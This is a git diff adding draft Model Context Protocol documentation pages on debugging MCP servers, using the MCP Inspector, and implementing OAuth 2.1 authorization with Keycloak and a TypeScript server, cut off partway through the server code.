diff --git a/content/mcp/docs/draft/tools/debugging.md b/content/mcp/docs/draft/tools/debugging.md
new file mode 100644
index 000000000..4e363c5f4
--- /dev/null
+++ b/content/mcp/docs/draft/tools/debugging.md
@@ -0,0 +1,372 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Debugging
+
+> A comprehensive guide to debugging Model Context Protocol (MCP) integrations
+
+Effective debugging is essential when developing MCP servers or integrating
+them with applications. This guide covers the debugging tools and approaches
+available in the MCP ecosystem.
+
+## Debugging tools overview
+
+MCP provides several tools for debugging at different levels:
+
+1. **[MCP Inspector](/docs/draft/tools/inspector)**: interactive, transport-agnostic
+ testing UI. Connect to stdio or Streamable HTTP servers, invoke
+ [tools](/specification/latest/server/tools),
+ [prompts](/specification/latest/server/prompts), and
+ [resources](/specification/latest/server/resources), and watch the
+ notification stream. This should be your first stop.
+2. **Server logging**: structured logs to stderr (stdio transport) or via
+ [OpenTelemetry](https://opentelemetry.io/) (all transports).
+ [Logging](/specification/draft/server/utilities/logging) over the protocol
+ (`notifications/message`) is deprecated as of protocol version `2026-07-28`.
+3. **Client developer tools**: most MCP clients expose logs and connection
+ state. See [Debugging in Claude Desktop](#debugging-in-claude-desktop)
+ below for one example, or consult your client's documentation.
+
+## Implementing logging
+
+### Server-side logging
+
+When building a server that uses the local
+[stdio transport](/specification/draft/basic/transports/stdio), all messages
+logged to stderr (standard error) will be captured by the host application
+automatically.
+
+
+ Local MCP servers should not log messages to stdout (standard out), as this
+ will interfere with protocol operation.
+
+
+For servers using the
+[Streamable HTTP transport](/specification/draft/basic/transports/streamable-http),
+stderr is not captured by the client. Use your own server-side log aggregation
+or [OpenTelemetry](https://opentelemetry.io/) for logs, and standard HTTP
+tooling (curl, browser DevTools Network panel) to inspect requests and SSE
+streams.
+
+
+ The `notifications/message` mechanism below is deprecated as of protocol
+ version `2026-07-28`. It remains available during the deprecation window.
+
+
+For all [transports](/specification/latest/basic/transports), record what the
+server is doing as it runs:
+
+
+ ```python Python theme={null}
+ import logging
+
+ from mcp.server import MCPServer
+
+ logger = logging.getLogger(__name__)
+
+ mcp = MCPServer("reports")
+
+
+ @mcp.tool()
+ async def fetch_report(report_id: str) -> str:
+ """Fetch a report by id."""
+ logger.info("Fetching report %s", report_id)
+ return f"Report {report_id} is ready."
+ ```
+
+ ```typescript TypeScript theme={null}
+ await server.sendLoggingMessage({
+ level: "info",
+ data: "Server started successfully",
+ });
+ ```
+
+
+MCP defines eight
+[RFC 5424 severity levels](/specification/latest/server/utilities/logging#log-levels)
+(`debug` through `emergency`). Clients opt in to log messages per request by
+setting the
+[`io.modelcontextprotocol/logLevel`](/specification/draft/server/utilities/logging#per-request-log-level)
+field in the request's `_meta`. Servers must not send `notifications/message`
+for requests that omit this field.
+
+Important events to log:
+
+* Startup steps
+* Resource access
+* Tool execution
+* Error conditions
+* Performance metrics
+
+## Common issues
+
+The examples below use Claude Desktop's
+[`claude_desktop_config.json`](/docs/draft/develop/connect-local-servers); the same
+principles apply to any stdio-based MCP client.
+
+### Working directory
+
+When an MCP client launches a stdio server:
+
+* The working directory for servers launched via the client's config may be
+ undefined (like `/` on macOS) since the client could be started from
+ anywhere
+* Always use absolute paths in your configuration and `.env` files to ensure
+ reliable operation
+* For testing servers directly via command line, the working directory will be
+ where you run the command
+
+For example in `claude_desktop_config.json`, use:
+
+```json theme={null}
+{
+ "mcpServers": {
+ "filesystem": {
+ "command": "npx",
+ "args": [
+ "-y",
+ "@modelcontextprotocol/server-filesystem",
+ "/Users/username/data"
+ ]
+ }
+ }
+}
+```
+
+Instead of relative paths like `./data`
+
+### Environment variables
+
+MCP servers launched over stdio inherit only a limited subset of environment
+variables automatically (the exact set is platform-dependent).
+
+To override the default variables or provide your own, you can specify an
+`env` key in `claude_desktop_config.json`:
+
+```json theme={null}
+{
+ "mcpServers": {
+ "myserver": {
+ "command": "mcp-server-myapp",
+ "env": {
+ "MYAPP_API_KEY": "some_key"
+ }
+ }
+ }
+}
+```
+
+### Server startup
+
+Common startup problems:
+
+1. **Path Issues**
+ * Incorrect server executable path
+ * Missing required files
+ * Permission problems
+ * Try using an absolute path for `command`
+
+2. **Configuration Errors**
+ * Invalid JSON syntax
+ * Missing required fields
+ * Type mismatches
+
+3. **Environment Problems**
+ * Missing environment variables
+ * Incorrect variable values
+ * Permission restrictions
+
+### Connection problems
+
+When servers fail to connect:
+
+1. Check client logs
+2. Verify server process is running
+3. Test standalone with [Inspector](/docs/draft/tools/inspector)
+4. Verify
+ [protocol compatibility](/docs/draft/learn/versioning#negotiation): call
+ [`server/discover`](/specification/draft/server/discover) to see which
+ protocol versions the server supports. An
+ `UnsupportedProtocolVersionError` (`-32022`) lists the server's supported
+ versions in its `data` field
+5. Check the
+ [per-request `_meta` fields](/specification/draft/basic/index#meta):
+ every request must carry `io.modelcontextprotocol/protocolVersion` and
+ `io.modelcontextprotocol/clientCapabilities`, and clients should also
+ include `io.modelcontextprotocol/clientInfo`. A request missing either
+ required field is rejected with error `-32602` (Invalid params), the same
+ code returned for many other malformed inputs. If the server needs a
+ capability the request's `clientCapabilities` did not declare, such as
+ [elicitation](/specification/draft/client/elicitation), it returns a
+ `MissingRequiredClientCapabilityError` (`-32021`) naming the missing
+ capabilities. Inspect the request's `_meta` and the
+ [`server/discover`](/specification/draft/server/discover) response to
+ verify both sides declared what you expect
+
+## Debugging in Claude Desktop
+
+Claude Desktop is one of many MCP clients. It is available on
+macOS and Windows.
+
+### Checking server status
+
+Click the "Add files, connectors, and more" plus icon in the chat input, then
+hover over the **Connectors** menu to see connected servers and available
+tools.
+
+
+
+### Viewing logs
+
+Log files are written to:
+
+* macOS: `~/Library/Logs/Claude`
+* Windows: `%APPDATA%\Claude\logs`
+
+
+ ```bash macOS theme={null}
+ tail -n 20 -F ~/Library/Logs/Claude/mcp*.log
+ ```
+
+ ```powershell Windows theme={null}
+ type "$env:AppData\Claude\logs\mcp*.log"
+ ```
+
+
+The logs capture:
+
+* Server connection events
+* Configuration issues
+* Runtime errors
+* Message exchanges
+
+### Using Chrome DevTools
+
+Access Chrome's developer tools inside Claude Desktop to investigate
+client-side errors:
+
+1. Create a `developer_settings.json` file with `allowDevTools` set to true:
+
+
+ ```bash macOS theme={null}
+ echo '{"allowDevTools": true}' > ~/Library/Application\ Support/Claude/developer_settings.json
+ ```
+
+ ```powershell Windows theme={null}
+ '{"allowDevTools": true}' | Set-Content "$env:AppData\Claude\developer_settings.json"
+ ```
+
+
+2. Open DevTools: `Command-Option-I` (macOS) or `Ctrl+Alt+I` (Windows)
+
+Note: You'll see two DevTools windows:
+
+* Main content window
+* App title bar window
+
+Use the Console panel to inspect client-side errors.
+
+Use the Network panel to inspect:
+
+* Message payloads
+* Connection timing
+
+## Debugging workflow
+
+### Development cycle
+
+1. Initial Development
+ * Use [Inspector](/docs/draft/tools/inspector) for basic testing
+ * Implement core functionality
+ * Add logging points
+
+2. Integration Testing
+ * Test in your target MCP client
+ * Monitor logs
+ * Check error handling
+
+### Testing changes
+
+To test changes efficiently:
+
+* **Configuration changes**: Restart the MCP client
+* **Server code changes**: Restart the client (for Claude Desktop, fully quit
+ and reopen; closing the window is not enough)
+* **Quick iteration**: Use [Inspector](/docs/draft/tools/inspector) during
+ development
+
+## Best practices
+
+### Logging strategy
+
+1. **Structured Logging**
+ * Use consistent formats
+ * Include context
+ * Add timestamps
+ * Track request IDs
+
+2. **Error Handling**
+ * Log stack traces
+ * Include error context
+ * Track error patterns
+ * Monitor recovery
+
+3. **Performance Tracking**
+ * Log operation timing
+ * Monitor resource usage
+ * Track message sizes
+ * Measure latency
+
+### Security considerations
+
+When debugging:
+
+1. **Sensitive Data**
+ * Sanitize logs
+ * Protect credentials
+ * Mask personal information
+
+2. **Access Control**
+ * Verify permissions
+ * Check authentication
+ * Monitor access patterns
+
+For a full treatment of MCP attack vectors and mitigations, see
+[Security Best Practices](/docs/draft/tutorials/security/security_best_practices).
+
+## Getting help
+
+When encountering issues:
+
+1. **First Steps**
+ * Check server logs
+ * Test with [Inspector](/docs/draft/tools/inspector)
+ * Review configuration
+ * Verify environment
+
+2. **Support Channels**
+ * [GitHub issues](https://github.com/modelcontextprotocol/modelcontextprotocol/issues)
+ * [GitHub discussions](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions)
+
+3. **Providing Information**
+ * Log excerpts
+ * Configuration files
+ * Steps to reproduce
+ * Environment details
+
+## Next steps
+
+
+
+ Learn to use the MCP Inspector
+
+
+
+ Walk through building a server from scratch
+
+
+
+ Full claude\_desktop\_config.json reference and troubleshooting
+
+
diff --git a/content/mcp/docs/draft/tools/inspector.md b/content/mcp/docs/draft/tools/inspector.md
new file mode 100644
index 000000000..5f2b2fcf8
--- /dev/null
+++ b/content/mcp/docs/draft/tools/inspector.md
@@ -0,0 +1,144 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# MCP Inspector
+
+> In-depth guide to using the MCP Inspector for testing and debugging Model Context Protocol servers
+
+The [MCP Inspector](https://github.com/modelcontextprotocol/inspector) is an interactive developer tool for testing and debugging MCP servers. While the [Debugging Guide](/docs/draft/tools/debugging) covers the Inspector as part of the overall debugging toolkit, this document provides a detailed exploration of the Inspector's features and capabilities.
+
+## Getting started
+
+### Installation and basic usage
+
+The Inspector runs directly through `npx` without requiring installation:
+
+```bash theme={null}
+npx @modelcontextprotocol/inspector
+```
+
+```bash theme={null}
+npx @modelcontextprotocol/inspector
+```
+
+#### Inspecting servers from npm or PyPI
+
+A common way to start server packages from [npm](https://npmjs.com) or [PyPI](https://pypi.org).
+
+
+
+ ```bash theme={null}
+ npx -y @modelcontextprotocol/inspector npx
+ # For example
+ npx -y @modelcontextprotocol/inspector npx @modelcontextprotocol/server-filesystem /Users/username/Desktop
+ ```
+
+
+
+ ```bash theme={null}
+ npx @modelcontextprotocol/inspector uvx
+ # For example
+ npx @modelcontextprotocol/inspector uvx mcp-server-git --repository ~/code/mcp/servers.git
+ ```
+
+
+
+#### Inspecting locally developed servers
+
+To inspect servers locally developed or downloaded as a repository, the most common
+way is:
+
+
+
+ ```bash theme={null}
+ npx @modelcontextprotocol/inspector node path/to/server/index.js args...
+ ```
+
+
+
+ ```bash theme={null}
+ npx @modelcontextprotocol/inspector \
+ uv \
+ --directory path/to/server \
+ run \
+ package-name \
+ args...
+ ```
+
+
+
+Please carefully read any attached README for the most accurate instructions.
+
+## Feature overview
+
+
+
+
+
+The Inspector provides several features for interacting with your MCP server:
+
+### Server connection pane
+
+* Allows selecting the [transport](/specification/latest/basic/transports) for connecting to the server
+* For local servers, supports customizing the command-line arguments and environment
+
+### Resources tab
+
+* Lists all available resources
+* Shows resource metadata (MIME types, descriptions)
+* Allows resource content inspection
+* Supports subscription testing
+
+### Prompts tab
+
+* Displays available prompt templates
+* Shows prompt arguments and descriptions
+* Enables prompt testing with custom arguments
+* Previews generated messages
+
+### Tools tab
+
+* Lists available tools
+* Shows tool schemas and descriptions
+* Enables tool testing with custom inputs
+* Displays tool execution results
+
+### Notifications pane
+
+* Presents all logs recorded from the server
+* Shows notifications received from the server
+
+## Best practices
+
+### Development workflow
+
+1. Start Development
+ * Launch Inspector with your server
+ * Verify basic connectivity
+ * Check capability negotiation
+
+2. Iterative testing
+ * Make server changes
+ * Rebuild the server
+ * Reconnect the Inspector
+ * Test affected features
+ * Monitor messages
+
+3. Test edge cases
+ * Invalid inputs
+ * Missing prompt arguments
+ * Concurrent operations
+ * Verify error handling and error responses
+
+## Next steps
+
+
+
+ Check out the MCP Inspector source code
+
+
+
+ Learn about broader debugging strategies
+
+
diff --git a/content/mcp/docs/draft/tutorials/security/authorization.md b/content/mcp/docs/draft/tutorials/security/authorization.md
new file mode 100644
index 000000000..718e57771
--- /dev/null
+++ b/content/mcp/docs/draft/tutorials/security/authorization.md
@@ -0,0 +1,1102 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Understanding Authorization in MCP
+
+> Learn how to implement secure authorization for MCP servers using OAuth 2.1 to protect sensitive resources and operations
+
+Authorization in the Model Context Protocol (MCP) secures access to sensitive resources and operations exposed by MCP servers. If your MCP server handles user data or administrative actions, authorization ensures only permitted users can access its endpoints.
+
+MCP uses standardized authorization flows to build trust between MCP clients and MCP servers. Its design doesn't focus on one specific authorization or identity system, but rather follows the conventions outlined for [OAuth 2.1](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13). For detailed information, see the [Authorization specification](/specification/latest/basic/authorization).
+
+## When Should You Use Authorization?
+
+While authorization for MCP servers is **optional**, it is strongly recommended when:
+
+* Your server accesses user-specific data (emails, documents, databases)
+* You need to audit who performed which actions
+* Your server grants access to its APIs that require user consent
+* You're building for enterprise environments with strict access controls
+* You want to implement rate limiting or usage tracking per user
+
+
+ **Authorization for Local MCP Servers**
+
+ For MCP servers using the [STDIO transport](/specification/latest/basic/transports#stdio), you can use environment-based credentials or credentials provided by third-party libraries embedded directly in the MCP server instead. Because a STDIO-built MCP server runs locally, it has access to a range of flexible options when it comes to acquiring user credentials that may or may not rely on in-browser authentication and authorization flows.
+
+ OAuth flows, in turn, are designed for HTTP-based transports where the MCP server is remotely-hosted and the client uses OAuth to establish that a user is authorized to access said remote server.
+
+
+## The Authorization Flow: Step by Step
+
+Let's walk through what happens when a client wants to connect to your protected MCP server:
+
+
+
+ When your MCP client first tries to connect, your server responds with a `401 Unauthorized` and tells the client where to find authorization information, captured in a [Protected Resource Metadata (PRM) document](https://datatracker.ietf.org/doc/html/rfc9728). The document is hosted by the MCP server, follows a predictable path pattern, and is provided to the client in the `resource_metadata` parameter within the `WWW-Authenticate` header.
+
+ ```http theme={null}
+ HTTP/1.1 401 Unauthorized
+ WWW-Authenticate: Bearer realm="mcp",
+ resource_metadata="https://your-server.com/.well-known/oauth-protected-resource"
+ ```
+
+ This tells the client that authorization is required for the MCP server and where to get the necessary information to kickstart the authorization flow.
+
+
+
+ With the URI pointer to the PRM document, the client will fetch the metadata to learn about the authorization server, supported scopes, and other resource information. The data is typically encapsulated in a JSON blob, similar to the one below.
+
+ ```json theme={null}
+ {
+ "resource": "https://your-server.com/mcp",
+ "authorization_servers": ["https://auth.your-server.com"],
+ "scopes_supported": ["mcp:tools", "mcp:resources"]
+ }
+ ```
+
+ You can see a more comprehensive example in [RFC 9728 Section 3.2](https://datatracker.ietf.org/doc/html/rfc9728#name-protected-resource-metadata-r).
+
+
+
+ Next, the client discovers what the authorization server can do by fetching its metadata. If the PRM document lists more than one authorization server, the client can decide which one to use.
+
+ With an authorization server selected, the client will then construct a standard metadata URI and issue a request to the [OpenID Connect (OIDC) Discovery](https://openid.net/specs/openid-connect-discovery-1_0.html) or [OAuth 2.0 Auth Server Metadata](https://datatracker.ietf.org/doc/html/rfc8414) endpoints (depending on authorization server support)
+ and retrieve another set of metadata properties that will allow it to know the endpoints it needs to complete the authorization flow.
+
+ ```json theme={null}
+ {
+ "issuer": "https://auth.your-server.com",
+ "authorization_endpoint": "https://auth.your-server.com/authorize",
+ "token_endpoint": "https://auth.your-server.com/token",
+ "registration_endpoint": "https://auth.your-server.com/register"
+ }
+ ```
+
+
+
+ With all the metadata out of the way, the client now needs to make sure that it's registered with the authorization server. This can be done in two ways.
+
+ First, the client can be **pre-registered** with a given authorization server, in which case it can have embedded client registration information that it uses to complete the authorization flow.
+
+ Alternatively, the client can use **Dynamic Client Registration** (DCR) to dynamically register itself with the authorization server. The latter scenario requires the authorization server to support DCR. If the authorization server does support DCR, the client will send a request to the `registration_endpoint` with its information:
+
+ ```json theme={null}
+ {
+ "client_name": "My MCP Client",
+ "redirect_uris": ["http://localhost:3000/callback"],
+ "grant_types": ["authorization_code", "refresh_token"],
+ "response_types": ["code"]
+ }
+ ```
+
+ If the registration succeeds, the authorization server will return a JSON blob with client registration information.
+
+
+ **No DCR or Pre-Registration**
+
+ In case an MCP client connects to an MCP server that doesn't use an authorization server that supports DCR and the client is not pre-registered with said authorization server, it's the responsibility of the client developer to provide an affordance for the end-user to enter client information manually.
+
+
+
+
+ The client will now need to open a browser to the `/authorize` endpoint, where the user can log in and grant the required permissions. The authorization server will then redirect back to the client with an authorization code that the client exchanges for tokens:
+
+ ```json theme={null}
+ {
+ "access_token": "eyJhbGciOiJSUzI1NiIs...",
+ "refresh_token": "def502...",
+ "token_type": "Bearer",
+ "expires_in": 3600
+ }
+ ```
+
+ The access token is what the client will use to authenticate requests to the MCP server. This step follows standard [OAuth 2.1 authorization code with PKCE](https://oauth.net/2/grant-types/authorization-code/) conventions.
+
+
+
+ Finally, the client can make requests to your MCP server using the access token embedded in the `Authorization` header:
+
+ ```http theme={null}
+ GET /mcp HTTP/1.1
+ Host: your-server.com
+ Authorization: Bearer eyJhbGciOiJSUzI1NiIs...
+ ```
+
+ The MCP server will need to validate the token and process the request if the token is valid and has the required permissions.
+
+
+
+## Implementation Example
+
+To get started with a practical implementation, we will use a [Keycloak](https://www.keycloak.org/) authorization server hosted in a Docker container. Keycloak is an open-source authorization server that can be easily deployed locally for testing and experimentation.
+
+Make sure that you download and install [Docker Desktop](https://www.docker.com/products/docker-desktop/). We will need it to deploy Keycloak on our development machine.
+
+### Keycloak Setup
+
+From your terminal application, run the following command to start the Keycloak container:
+
+```bash theme={null}
+docker run -p 127.0.0.1:8080:8080 -e KC_BOOTSTRAP_ADMIN_USERNAME=admin -e KC_BOOTSTRAP_ADMIN_PASSWORD=admin quay.io/keycloak/keycloak start-dev
+```
+
+This command will pull the Keycloak container image locally and bootstrap the basic configuration. It will run on port `8080` and have an `admin` user with `admin` password.
+
+
+ **Not for Production**
+
+ The configuration above may be suitable for testing and experimentation; however, you should never use it in production. Refer to the [Configuring Keycloak for production](https://www.keycloak.org/server/configuration-production) guide for additional details on how to deploy the authorization server for scenarios that require reliability, security, and high availability.
+
+
+You will be able to access the Keycloak authorization server from your browser at `http://localhost:8080`.
+
+
+
+
+
+When running with the default configuration, Keycloak will already support many of the capabilities that we need for MCP servers, including Dynamic Client Registration. You can check this by looking at the OIDC configuration, available at:
+
+```http theme={null}
+http://localhost:8080/realms/master/.well-known/openid-configuration
+```
+
+We will also need to set up Keycloak to support our scopes and allow our host (local machine) to dynamically register clients, as the default policies restrict anonymous dynamic client registration.
+
+Go to **Client scopes** in the Keycloak dashboard and create a new `mcp:tools` scope. We will use this to access all of the tools on our MCP server.
+
+
+
+
+
+After creating the scope, make sure that you assign its type to **Default** and have flipped the **Include in token scope** switch, as this will be needed for token validation.
+
+Let's now also set up an **audience** for our Keycloak-issued tokens. An audience is important to configure because it embeds the intended destination directly into the issued access token. This helps your MCP server to verify that the token it got was actually meant for it rather than some other API. This is key to help avoid token passthrough scenarios.
+
+To do this, open your `mcp:tools` client scope and click on **Mappers**, followed by **Configure a new mapper**. Select **Audience**.
+
+
+
+
+
+For **Name**, use `audience-config`. Add a value for **Included Custom Audience**, set to `http://localhost:3000`. This will be the URI of our test server.
+
+
+ **Not for Production**
+
+ The audience configuration above is meant for testing. For production scenarios, additional set-up and configuration will be required to ensure that audiences are properly constrained for issued tokens. Specifically, the audience needs to be based on the resource parameter passed from the client, not a fixed value.
+
+
+Now, navigate to **Clients**, then **Client registration**, and then **Trusted Hosts**. Disable the **Client URIs Must Match** setting and add the hosts from which you're testing. You can get your current host IP by running the `ifconfig` command on Linux or macOS, or `ipconfig` on Windows. You can see the IP address you need to add by looking at the keycloak logs for a line that looks like `Failed to verify remote host : 192.168.215.1`. Check that the IP address is associated with your host. This may be for a bridge network depending on your docker setup.
+
+
+
+
+
+
+ **Getting the Host**
+
+ If you are running Keycloak from a container, you will also be able to see the host IP from the Terminal in the container logs.
+
+
+Lastly, we need to register a new client that we can use with the **MCP server itself** to talk to Keycloak for things like [token introspection](https://oauth.net/2/token-introspection/). To do that:
+
+1. Go to **Clients**.
+2. Click **Create client**.
+3. Give your client a unique **Client ID** and click **Next**.
+4. Enable **Client authentication** and click **Next**.
+5. Click **Save**.
+
+Worth noting that token introspection is just *one of* the available approaches to validate tokens. This can also be done with the help of standalone libraries, specific to each language and platform.
+
+When you open the client details, go to **Credentials** and take note of the **Client Secret**.
+
+
+
+
+
+
+ **Handling Secrets**
+
+ Never embed client credentials directly in your code. We recommend using environment variables or specialized solutions for secret storage.
+
+
+With Keycloak configured, every time the authorization flow is triggered, your MCP server will receive a token like this:
+
+```text theme={null}
+eyJhbGciOiJSUzI1NiIsInR5cCIgOiAiSldUIiwia2lkIiA6ICI1TjcxMGw1WW5MWk13WGZ1VlJKWGtCS3ZZMzZzb3JnRG5scmlyZ2tlTHlzIn0.eyJleHAiOjE3NTU1NDA4MTcsImlhdCI6MTc1NTU0MDc1NywiYXV0aF90aW1lIjoxNzU1NTM4ODg4LCJqdGkiOiJvbnJ0YWM6YjM0MDgwZmYtODQwNC02ODY3LTgxYmUtMTIzMWI1MDU5M2E4IiwiaXNzIjoiaHR0cDovL2xvY2FsaG9zdDo4MDgwL3JlYWxtcy9tYXN0ZXIiLCJhdWQiOiJodHRwOi8vbG9jYWxob3N0OjMwMDAiLCJzdWIiOiIzM2VkNmM2Yi1jNmUwLTQ5MjgtYTE2MS1mMmY2OWM3YTAzYjkiLCJ0eXAiOiJCZWFyZXIiLCJhenAiOiI3OTc1YTViNi04YjU5LTRhODUtOWNiYS04ZmFlYmRhYjg5NzQiLCJzaWQiOiI4ZjdlYzI3Ni0zNThmLTRjY2MtYjMxMy1kYjA4MjkwZjM3NmYiLCJzY29wZSI6Im1jcDp0b29scyJ9.P5xCRtXORly0R0EXjyqRCUx-z3J4uAOWNAvYtLPXroykZuVCCJ-K1haiQSwbURqfsVOMbL7jiV-sD6miuPzI1tmKOkN_Yct0Vp-azvj7U5rEj7U6tvPfMkg2Uj_jrIX0KOskyU2pVvGZ-5BgqaSvwTEdsGu_V3_E0xDuSBq2uj_wmhqiyTFm5lJ1WkM3Hnxxx1_AAnTj7iOKMFZ4VCwMmk8hhSC7clnDauORc0sutxiJuYUZzxNiNPkmNeQtMCGqWdP1igcbWbrfnNXhJ6NswBOuRbh97_QraET3hl-CNmyS6C72Xc0aOwR_uJ7xVSBTD02OaQ1JA6kjCATz30kGYg
+```
+
+Decoded, it will look like this:
+
+```json theme={null}
+{
+ "alg": "RS256",
+ "typ": "JWT",
+ "kid": "5N710l5YnLZMwXfuVRJXkBKvY36sorgDnlrirgkeLys"
+}.{
+ "exp": 1755540817,
+ "iat": 1755540757,
+ "auth_time": 1755538888,
+ "jti": "onrtac:b34080ff-8404-6867-81be-1231b50593a8",
+ "iss": "http://localhost:8080/realms/master",
+ "aud": "http://localhost:3000",
+ "sub": "33ed6c6b-c6e0-4928-a161-f2f69c7a03b9",
+ "typ": "Bearer",
+ "azp": "7975a5b6-8b59-4a85-9cba-8faebdab8974",
+ "sid": "8f7ec276-358f-4ccc-b313-db08290f376f",
+ "scope": "mcp:tools"
+}.[Signature]
+```
+
+
+ **Embedded Audience**
+
+ Notice the `aud` claim embedded in the token - it's currently set to be the URI of the test MCP server and it's inferred from the scope that we've previously configured. This will be important in our implementation to validate.
+
+
+### MCP Server Setup
+
+We will now set up our MCP server to use the locally-running Keycloak authorization server. Depending on your programming language preference, you can use one of the supported [MCP SDKs](/docs/draft/sdk).
+
+For our testing purposes, we will create an extremely simple MCP server that exposes two tools - one for addition and another for multiplication. The server will require authorization to access these.
+
+
+
+ You can see the complete TypeScript project in the [sample repository](https://github.com/localden/min-ts-mcp-auth).
+
+ Prior to running the code below, ensure that you have a `.env` file with the following content:
+
+ ```env theme={null}
+ # Server host/port
+ HOST=localhost
+ PORT=3000
+
+ # Auth server location
+ AUTH_HOST=localhost
+ AUTH_PORT=8080
+ AUTH_REALM=master
+
+ # Keycloak OAuth client credentials
+ OAUTH_CLIENT_ID=
+ OAUTH_CLIENT_SECRET=
+ ```
+
+ `OAUTH_CLIENT_ID` and `OAUTH_CLIENT_SECRET` are associated with the MCP server client we created earlier.
+
+ In addition to implementing the MCP authorization specification, the server below also does token introspection via Keycloak to make sure that the token it receives from the client is valid. It also implements basic logging to allow you to easily diagnose any issues.
+
+ ```typescript theme={null}
+ import "dotenv/config";
+ import express from "express";
+ import { randomUUID } from "node:crypto";
+ import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
+ import { StreamableHTTPServerTransport } from "@modelcontextprotocol/sdk/server/streamableHttp.js";
+ import { isInitializeRequest } from "@modelcontextprotocol/sdk/types.js";
+ import { z } from "zod";
+ import cors from "cors";
+ import {
+ mcpAuthMetadataRouter,
+ getOAuthProtectedResourceMetadataUrl,
+ } from "@modelcontextprotocol/sdk/server/auth/router.js";
+ import { requireBearerAuth } from "@modelcontextprotocol/sdk/server/auth/middleware/bearerAuth.js";
+ import { OAuthMetadata } from "@modelcontextprotocol/sdk/shared/auth.js";
+ import { checkResourceAllowed } from "@modelcontextprotocol/sdk/shared/auth-utils.js";
+ const CONFIG = {
+ host: process.env.HOST || "localhost",
+ port: Number(process.env.PORT) || 3000,
+ auth: {
+ host: process.env.AUTH_HOST || process.env.HOST || "localhost",
+ port: Number(process.env.AUTH_PORT) || 8080,
+ realm: process.env.AUTH_REALM || "master",
+ clientId: process.env.OAUTH_CLIENT_ID || "mcp-server",
+ clientSecret: process.env.OAUTH_CLIENT_SECRET || "",
+ },
+ };
+
+ function createOAuthUrls() {
+ const authBaseUrl = new URL(
+ `http://${CONFIG.auth.host}:${CONFIG.auth.port}/realms/${CONFIG.auth.realm}/`,
+ );
+ return {
+ issuer: authBaseUrl.toString(),
+ introspection_endpoint: new URL(
+ "protocol/openid-connect/token/introspect",
+ authBaseUrl,
+ ).toString(),
+ authorization_endpoint: new URL(
+ "protocol/openid-connect/auth",
+ authBaseUrl,
+ ).toString(),
+ token_endpoint: new URL(
+ "protocol/openid-connect/token",
+ authBaseUrl,
+ ).toString(),
+ };
+ }
+
+ function createRequestLogger() {
+ return (req: any, res: any, next: any) => {
+ const start = Date.now();
+ res.on("finish", () => {
+ const ms = Date.now() - start;
+ console.log(
+ `${req.method} ${req.originalUrl} -> ${res.statusCode} ${ms}ms`,
+ );
+ });
+ next();
+ };
+ }
+
+ const app = express();
+
+ app.use(
+ express.json({
+ verify: (req: any, _res, buf) => {
+ req.rawBody = buf?.toString() ?? "";
+ },
+ }),
+ );
+
+ app.use(
+ cors({
+ origin: "*",
+ exposedHeaders: ["Mcp-Session-Id"],
+ }),
+ );
+
+ app.use(createRequestLogger());
+
+ const mcpServerUrl = new URL(`http://${CONFIG.host}:${CONFIG.port}`);
+ const oauthUrls = createOAuthUrls();
+
+ const oauthMetadata: OAuthMetadata = {
+ ...oauthUrls,
+ response_types_supported: ["code"],
+ };
+
+ const tokenVerifier = {
+ verifyAccessToken: async (token: string) => {
+ const endpoint = oauthMetadata.introspection_endpoint;
+
+ if (!endpoint) {
+ console.error("[auth] no introspection endpoint in metadata");
+ throw new Error("No token verification endpoint available in metadata");
+ }
+
+ const params = new URLSearchParams({
+ token: token,
+ client_id: CONFIG.auth.clientId,
+ });
+
+ if (CONFIG.auth.clientSecret) {
+ params.set("client_secret", CONFIG.auth.clientSecret);
+ }
+
+ let response: Response;
+ try {
+ response = await fetch(endpoint, {
+ method: "POST",
+ headers: {
+ "Content-Type": "application/x-www-form-urlencoded",
+ },
+ body: params.toString(),
+ });
+ } catch (e) {
+ console.error("[auth] introspection fetch threw", e);
+ throw e;
+ }
+
+ if (!response.ok) {
+ const txt = await response.text();
+ console.error("[auth] introspection non-OK", { status: response.status });
+
+ try {
+ const obj = JSON.parse(txt);
+ console.log(JSON.stringify(obj, null, 2));
+ } catch {
+ console.error(txt);
+ }
+ throw new Error(`Invalid or expired token: ${txt}`);
+ }
+
+ let data: any;
+ try {
+ data = await response.json();
+ } catch (e) {
+ const txt = await response.text();
+ console.error("[auth] failed to parse introspection JSON", {
+ error: String(e),
+ body: txt,
+ });
+ throw e;
+ }
+
+ if (data.active === false) {
+ throw new Error("Inactive token");
+ }
+
+ if (!data.aud) {
+ throw new Error("Resource indicator (aud) missing");
+ }
+
+ const audiences: string[] = Array.isArray(data.aud) ? data.aud : [data.aud];
+ const allowed = audiences.some((a) => {
+ try {
+ return checkResourceAllowed({
+ requestedResource: a,
+ configuredResource: mcpServerUrl,
+ });
+ } catch {
+ // Keycloak tokens include non-URL audiences (e.g. "account", "test-client").
+ // Those are never our resource, so treat them as "no match" instead of crashing.
+ return false;
+ }
+ });
+ if (!allowed) {
+ throw new Error(
+ `None of the provided audiences are allowed. Expected ${mcpServerUrl}, got: ${audiences.join(", ")}`,
+ );
+ }
+
+ return {
+ token,
+ clientId: data.client_id,
+ scopes: data.scope ? data.scope.split(" ") : [],
+ expiresAt: data.exp,
+ };
+ },
+ };
+ app.use(
+ mcpAuthMetadataRouter({
+ oauthMetadata,
+ resourceServerUrl: mcpServerUrl,
+ scopesSupported: ["mcp:tools"],
+ resourceName: "MCP Demo Server",
+ }),
+ );
+
+ const authMiddleware = requireBearerAuth({
+ verifier: tokenVerifier,
+ requiredScopes: [],
+ resourceMetadataUrl: getOAuthProtectedResourceMetadataUrl(mcpServerUrl),
+ });
+
+ const transports: { [sessionId: string]: StreamableHTTPServerTransport } = {};
+
+ function createMcpServer() {
+ const server = new McpServer({
+ name: "example-server",
+ version: "1.0.0",
+ });
+
+ server.registerTool(
+ "add",
+ {
+ title: "Addition Tool",
+ description: "Add two numbers together",
+ inputSchema: {
+ a: z.number().describe("First number to add"),
+ b: z.number().describe("Second number to add"),
+ },
+ },
+ async ({ a, b }) => ({
